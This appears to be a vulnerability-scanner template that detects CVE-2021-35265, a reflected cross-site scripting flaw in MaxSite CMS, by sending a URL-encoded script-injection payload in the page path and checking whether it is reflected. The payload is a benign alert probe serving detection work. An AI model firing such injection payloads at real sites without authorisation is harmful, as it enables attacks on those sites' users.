id: CVE-2021-35265

info:
  name: MaxSite CMS XSS
  author: pikpikcu
  severity: medium
  description: Reflected cross-site scripting (XSS) vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page.
  reference:
    - https://github.com/maxsite/cms/issues/414#issue-726249183
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35265
  tags: cve,cve2021,maxsite,xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-35265
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - '{{BaseURL}}/page/1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/maxsite/page/1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:

      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200